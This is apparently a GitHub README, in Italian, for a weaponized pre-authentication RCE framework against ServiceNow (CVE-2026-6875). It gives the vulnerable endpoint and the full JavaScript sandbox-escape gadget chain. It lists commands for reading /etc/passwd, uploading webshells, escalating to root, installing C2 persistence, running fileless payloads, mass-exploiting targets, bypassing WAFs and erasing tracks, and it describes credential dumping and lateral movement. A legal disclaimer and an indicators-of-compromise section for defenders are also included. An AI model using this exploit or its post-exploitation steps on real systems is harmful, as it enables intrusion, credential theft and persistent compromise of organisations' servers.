CVE-2026-6875 - Framework di Exploit RCE Pre‑Auth di ServiceNow e Verificatore PoC 🔥

Piattaforma AI di ServiceNow — Iniezione JavaScript → Evasione Sandbox → RCE → Privesc Root

Framework di Exploit e Verificatore Sicuro
Solo per test di sicurezza autorizzati.

⚖️ Disclaimer Legale e Uso Responsabile

Questo strumento è fornito esclusivamente a scopo educativo e per test di penetrazione autorizzati.

Gli autori e i collaboratori non sono responsabili per qualsiasi uso improprio o danno causato da questo software. Gli utenti sono gli unici responsabili di assicurarsi di avere il permesso scritto esplicito del proprietario del target prima di testare. L'accesso non autorizzato ai sistemi informatici è illegale ai sensi del Computer Fraud and Abuse Act (CFAA) e di leggi simili in tutto il mondo.

Utilizzando questo software, accetti di:

• Utilizzarlo solo su sistemi di tua proprietà o per i quali hai il permesso esplicito di test.
• Rispettare tutte le leggi locali, statali e federali applicabili.
• Non utilizzarlo per attività dannose, distruttive o illegali.

⚠️ AVVERTENZA: Questa vulnerabilità è attivamente sfruttata in natura. L'uso non autorizzato può comportare gravi conseguenze legali.

🔥 Panoramica della Vulnerabilità

CVE-2026-6875 è una vulnerabilità critica di Esecuzione Remota di Codice (RCE) non autenticata nella Piattaforma AI di ServiceNow (ex Now Platform). Consente agli aggressori di bypassare la sandbox degli script ed eseguire comandi di sistema arbitrari con i privilegi dell'applicazione ServiceNow.

Come funziona:

1. Iniezione JavaScript: L'endpoint assessment_thanks.do accetta un parametro sysparm_assessable_type. Anteponendo javascript: al valore, un aggressore inietta codice JavaScript arbitrario.

2. Evasione della Sandbox: Un sofisticato gadget di evasione della sandbox (che combina DiscoveryFunctions.getCacheObjectForTable, AbstractAjaxProcessor e Class.create) rimuove la restrizione della sandbox JavaScript.

3. Esecuzione Remota di Codice: Il codice Java iniettato (tramite java.lang.Runtime.exec()) viene eseguito con i privilegi dell'applicazione ServiceNow, consentendo il pieno compromesso del sistema.

4. Escalation dei Privilegi: I moduli post‑exploitation tentano di elevare i privilegi a root tramite configurazioni sudo errate, binari SUID, cron job scrivibili o exploit del kernel.

Dati Chiave:

🛠️ Framework di Exploit (exploit.py)

L'exploit weaponizzato completo combina l'iniezione JavaScript e l'evasione della sandbox per ottenere l'esecuzione remota di codice, con moduli post‑exploitation avanzati per persistenza, movimento laterale e dump delle credenziali.

✨ Funzionalità

Comandi della Shell Interattiva

🕵️ Verificatore Sicuro (verifier.py)

Il verificatore sicuro esegue un rilevamento non intrusivo della vulnerabilità senza eseguire payload dannosi o apportare modifiche al sistema.

✨ Funzionalità

📦 Installazione e Requisiti

Prerequisiti

• Python 3.6+
• pip (per la libreria requests)

Installare le Dipendenze

pip install requests urllib3

[!NOTE] exploit.py usa solo la libreria standard per le funzionalità principali; requests è richiesto solo per la funzionalità --detect, le notifiche --webhook e il verificatore sicuro.

🚀 Esempi di Utilizzo

[1] Verificatore Sicuro (verifier.py)

# Single target verification
python verifier.py -u 192.168.1.100

# Custom port and path
python verifier.py -u 10.0.0.5 -p 8443 --path /snow

# Mass scan from file
python verifier.py -l targets.txt -o results.json

# Quiet mode (only vulnerable targets)
python verifier.py -u 192.168.1.100 -q

# Increase timeout for slow targets
python verifier.py -u servicenow.example.com --timeout 60

# Custom User-Agent
python verifier.py -u 192.168.1.100 --user-agent "MyScanner/1.0"

[2] Framework di Exploit (exploit.py)

# Interactive shell on target
python exploit.py -u 192.168.1.100

# Execute a single command
python exploit.py -u 192.168.1.100 --exec "id && whoami"

# Read a file
python exploit.py -u 192.168.1.100 --read-file /etc/passwd

# Enable detection before exploitation
python exploit.py -u 192.168.1.100 --detect

# Attempt root privilege escalation
python exploit.py -u 192.168.1.100 --privesc

# Upload a webshell
python exploit.py -u 192.168.1.100 --upload shell.jsp

# Install persistence with C2
python exploit.py -u 192.168.1.100 --persistence --c2-host 10.0.0.5 --c2-port 4444

# Clean tracks after exploit
python exploit.py -u 192.168.1.100 --clean

# Use fileless (memory) payload
python exploit.py -u 192.168.1.100 --fileless --c2-host 10.0.0.5 --c2-port 4444

# Mass exploit from file (50 threads)
python exploit.py -l targets.txt -m 50 --exec "uname -a"

# Custom callback server port
python exploit.py -u 192.168.1.100 --callback-port 9090

# Enable WAF bypass techniques
python exploit.py -u 192.168.1.100 --waf-bypass

# Send notifications via webhook
python exploit.py -u 192.168.1.100 --webhook https://myhook.com/snow

# Pipe mode (read command from stdin)
echo "cat /etc/hosts" | python exploit.py -u 192.168.1.100

# Custom port and path
python exploit.py -u 10.0.0.5 -p 8443 --path /snow

# Disable TLS verification (for self-signed certs)
python exploit.py -u 192.168.1.100 --insecure-tls

# Custom timeout and retries
python exploit.py -u 192.168.1.100 -t 60 -r 5 -d 2.0

🎯 Versioni Interessate

⚠️ Importante: Le istanze ServiceNow Cloud vengono patchate automaticamente. Questa vulnerabilità colpisce principalmente le implementazioni self‑hosted.

🧠 Analisi Tecnica Approfondita

1. Iniezione JavaScript (CVE-2026-6875)

La vulnerabilità risiede nell'endpoint assessment_thanks.do, che accetta un parametro sysparm_assessable_type. Fornendo un valore che inizia con javascript:, la piattaforma valuta il successivo codice JavaScript nel contesto di sistema.

Endpoint Vulnerabile:

POST /assessment_thanks.do sysparm_assessable_type=javascript:gs.print('test')

2. Gadget di Evasione della Sandbox

Il codice iniettato è inizialmente confinato in una sandbox. Tuttavia, sfruttando la seguente catena:

javascript:
var s="<payload>";
DiscoveryFunctions.getCacheObjectForTable=Object;
var a={};a.get=Object;
var b=new AbstractAjaxProcessor();
b.initialize=DiscoveryFunctions.getFirstValueFromTable(
  a,"",DiscoveryFunctions.getFirstValueFromTable(
    a,"",DiscoveryFunctions.getFirstValueFromTable(
      a,"",global,"WorkflowIconsSCR",""),"prototype",""),"initialize","");
b.a=Class.create();b.a(s);

La sandbox viene bypassata, garantendo l'accesso completo a classi Java come java.lang.Runtime.

3. Moduli Post‑Exploitation

Dump delle Credenziali

Cerca nei file .properties, .xml, .conf password, chiavi API e segreti:

• /opt/ServiceNow/conf/*.xml
• /var/log/ServiceNow/*.log
• /etc/passwd, /etc/shadow

Persistenza

Installa backdoor tramite:

• Linux: Cron job (*/5 * * * *), servizi systemd, chiavi SSH
• Windows: Attività pianificate (schtasks), chiavi di esecuzione del Registro di sistema

Movimento Laterale

Scansiona la sottorete locale per altre istanze ServiceNow o host SSH e riutilizza le credenziali scoperte.

Esecuzione Fileless

Compila una classe Java al volo, la carica tramite ClassLoader e la esegue in memoria (nessuna scrittura su disco).

Tecniche di Bypass WAF

1. Doppia codifica URL
2. Commenti JavaScript ({/*comment*/})
3. Escaping Unicode (\u0077 per w)
4. Iniezione di spazi bianchi
5. Suddivisione delle parole chiave (ne\u0077 per new)
6. Selezione casuale della tecnica

🔍 Indicatori di Compromissione (IoC)

Analisi dei Log

Cerca nei tuoi log ServiceNow:

• extraweb_access.log – richieste a /assessment_thanks.do con sysparm_assessable_type contenente:
  • javascript:
  • Stringhe codificate in Base64
  • DiscoveryFunctions.getCacheObjectForTable
  • AbstractAjaxProcessor

File System

• File inattesi in /var/tmp/ (ad es., shell.jsp, script .sh)
• /etc/passwd, /etc/shadow o ~/.ssh/authorized_keys modificati
• Nuovi cron job (crontab -l)
• Nuovi servizi systemd (/etc/systemd/system/)

Processi

• Processi sospetti (/bin/bash -i, nc, curl, wget, python -c)
• Connessioni di rete inattese verso IP esterni

Rete

• Connessioni in uscita dal server ServiceNow verso IP non autorizzati
• Connessioni reverse shell su porte insolite

📚 Riferimenti

• NVD - CVE-2026-6875
• Avviso di Sicurezza ServiceNow (KB3137947)
• Catalogo CISA KEV
• Searchlight Cyber – Analisi Tecnica
• The Hacker News – Zero‑Day di ServiceNow Sfruttato

🔗 Altri Exploit

[+] CVE-2026-15409/15410 - SonicWall SMA1000 Multi-Exploit Framework
https://github.com/tc4dy/CVE-2026-15409-15410-Framework

[+] CVE-2026-41091 - SolarFlare (RedSun) Microsoft Defender LPE
https://github.com/tc4dy/CVE-2026-41091-PoC-Exploit

[+] CVE-2026-57821 - Apache Fineract SQL Injection Toolkit
https://github.com/tc4dy/CVE-2026-57821-PoC-Exploit

[+] CVE-2026-41940 - cPanel/WHM Authentication Bypass
https://github.com/tc4dy/CVE-2026-41940-PoC-Exploit